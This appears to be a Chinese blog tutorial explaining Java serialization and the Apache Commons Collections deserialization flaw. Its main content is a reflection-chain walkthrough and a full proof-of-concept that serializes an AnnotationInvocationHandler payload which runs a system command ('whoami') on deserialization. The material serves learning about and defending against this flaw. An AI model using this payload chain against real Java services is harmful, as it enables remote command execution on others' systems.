目录

一、Java的序列化与反序列化

二、对java序列化的理解

三、反序列化的漏洞原理概述

四、关于反射链


一、Java的序列化与反序列化

在这里我们直接自己定义一个类,然后对这个类的对象(一个实例)进行序列化和发序列化测试。

//引入必要的java包文件
import java.io.*;//创建测试类,注意要继承Serializable接口
class serialdemo implements Serializable{public static int number;public serialdemo(int inputnum) {this.number = inputnum;}
}//主类
public class test{//测试主类public static void main(String[] args) throws IOException, ClassNotFoundException {//主函数入口serialdemo object = new serialdemo(100);FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象outputstream.writeObject(object);//把类对象(实例)序列化进入文件outputstream.close();FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化// 通过反序列化恢复对象objserialdemo object2 = (serialdemo)inputstream.readObject();System.out.println("反序列化后的对象的值:");System.out.println(object2.number);inputstream.close();}
}

既然自己定义的类都可以了,那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下:

└─[$]> java test
反序列化后的对象的值:
100

二、对java序列化的理解

1、api定位:

java.io.ObjectOutputStream  ->   writeObject()
java.io.ObjectInputStream    ->    readObject()
序列化把对象序列化成字节流
反序列化读取字节流反序列化对象

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制:

在java运行状态中
1.对于任何一个类,都能判断对象所属的类;
2.对于任何一个类,都能获取其所有的属性和方法;
3.对于任何一个对象,都能调用任意一个方法和属性;

三、反序列化的漏洞原理概述

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的广泛使用,也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令:

//命令执行函数
public void test() throws IOException, InterruptedException {Process process = Runtime.getRuntime().exec("whoami");InputStream inputstream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));process.waitFor();if (process.exitValue() != 0) {//说明命令执行失败//可以进入到错误处理步骤中}//打印输出信息String s = null;while ((s = reader.readLine()) != null) {System.out.println(s);}}

简介:

Runtime.getRuntime().exec("command_string");

回显呢:

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西,现在我们来看看接口源代码:

我们来理一理这一段:

开始:

可以看出来这个方法,属于一个对象,输出另外一个对象,完成了类型的转换。同时这个接口还可以串联完成一系列的转换,构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

public class InvokerTransformer implements Transformer, Serializable {.../*Input参数为要进行反射的对象,iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型iArgs为对应方法的参数在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}}

只需要传入方法名、参数类型和参数,即可调用任意函数。

在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

五、poc原理分析:

参考大牛博客,给出一个原理解释知识点

ConstantTransformer
把一个对象转化为常量,并返回。

InvokerTransformer
通过反射,返回一个对象

ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂,因为不是java程序员的我对此真是摸不着头脑,但是我们可以做如下总结:

1、java反序列化可以远程执行命令。
2、java执行命令用到Runtime.getRuntime().exec("whoami");
3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化,形成反射链。
4、ConstantTransformer可以把对象转换为常量返回。
5、ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行

POC的思路:

1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个TransformedMap实例
3)实例化AnnotationInvocationHandler,并对其进行序列化,
4)当触发readObject()反序列化的时候,就能实现命令执行。
POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发

分析大牛poc核心代码逻辑:

/*
核心逻辑表达式:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
主函数中:
1、定义一个要执行的命令字符串:String commandstring = "whoami";
2、定义一个执行逻辑:
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
}
3、执行逻辑转化操作(ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作):
Transformer transformedChain = new ChainedTransformer(transformers);
4、后面是关于不关心的东西,写死即可:
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
*///引入必要的java包文件
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;//引入第三方包文件,也就是关于apache的那几个包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;//主类
public class POC_Test{public static void main(String[] args) throws Exception {//定义待执行的命令:String commandstring = "whoami";//定义一个反射链,确定预定的转化逻辑/*定义一个反射链的方法:Transformer[] varitename = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})}*/Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),/*由于Method类的invoke(Object obj,Object args[])方法的定义所以在反射内写new Class[] {Object.class, Object[].class }正常POC流程举例:((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");*/new InvokerTransformer("getMethod",new Class[] {String.class, Class[].class },new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class },new Object[] {null, null }),new InvokerTransformer("exec",new Class[] {String[].class },new Object[] { commandstring }//new Object[] { execArgs })};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作Transformer transformedChain = new ChainedTransformer(transformers);//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();Map<String,String> BeforeTransformerMap = new HashMap<String,String>();BeforeTransformerMap.put("hello", "hello");//Map数据结构,转换后的Map/*TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)第三个参数为Map对象内的value要经过的转化方法。*///TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance = ctor.newInstance(Target.class, AfterTransformerMap);File f = new File("temp.bin");ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);}
}/*
思路:构建BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()*/

java 反序列化漏洞简介相关推荐

  1. Java反序列化漏洞通用利用分析

    2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSpher ...

  2. Lib之过?Java反序列化漏洞通用利用分析

    1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来***最新版的WebLogic.We ...

  3. java反序列化漏洞 poc_Java反序列化漏洞详解

    Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详 ...

  4. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

  5. 带你掌握java反序列化漏洞及其检测

    摘要:在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测.扫描此类漏洞. 本文分享自华为云社区<java反序列化漏洞及其检测>,作者: alpha1e0. 1 ...

  6. java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell

    原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell 原文链接: https://medium.com/abn-amro-red-team/java-deserialization-f ...

  7. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  8. java序列化_技术干货 | JAVA反序列化漏洞

    目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...

  9. common-collections中Java反序列化漏洞导致的RCE原理分析

    2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...

最新文章

  1. 皮一皮:35岁后你做什么?
  2. 创业星光论坛(上):汇源是否应在万荣建厂
  3. 【Android 逆向】Android 进程代码注入原理 ( 注入本质 | 静态注入和动态注入 | 静态注入两种方式 | 修改动态库重打包 | 修改 /data/app/xx/libs 动态库 )
  4. Android 获取手机的UUID
  5. linux内核与设备驱动,第二章 Linux内核与设备驱动程序
  6. iOS并发编程指南之同步
  7. 读书笔记_unity4.x第十二章_3D数学基础
  8. asp.net 页面静态化
  9. async await 的前世今生(Updated)
  10. Maven 实现依赖框架jar包的版本管理
  11. 白孩儿--一个网上流传的故事[生活感悟]
  12. DDR2(SDRAM)初始化 28个步骤总结
  13. Ubuntu环境下XAMP安装PHP的rabbitmq扩展
  14. “正话反说”:A和B在玩一个游戏,两人轮流说一句话,这句话正读反读都一样,如adgda,谁先说错,谁出局,另一个人胜出。编写一个函数用于判断这句话是否符合要求,符合要求时,函数返回1,否则函数返回0
  15. Windows8/Silverlight/WPF/WP7周学习导读(11月12日-11月18日)
  16. 天耀18期 -09.数组【作业】.
  17. 中国3D金属打印机市场现状研究分析与发展前景预测报告(2022)
  18. CTF中php相关考点
  19. Python爬虫获取企查查公开的企业信息
  20. 最新电脑公司最新GHOST WIN7系统32,64位极速安全版

热门文章

  1. 吉他谱——再回首pic
  2. etcd — 安装部署
  3. 4G EPS 的网络协议栈
  4. vsftpd类似wu-ftpd分类(Class)的配置-给不同网段的人以不同的上传权限-对虚拟用户进行访问IP限制...
  5. python基础---函数
  6. 流程控制--for序列
  7. HDU1203_I NEED A OFFER!【01背包】
  8. 《面向模式的软件体系结构1--模式系统》读书笔记(2)--- 映像模式
  9. 小马拉大车,无线网络优化
  10. 北京站售票员内部大量出票无耻的售票员(转)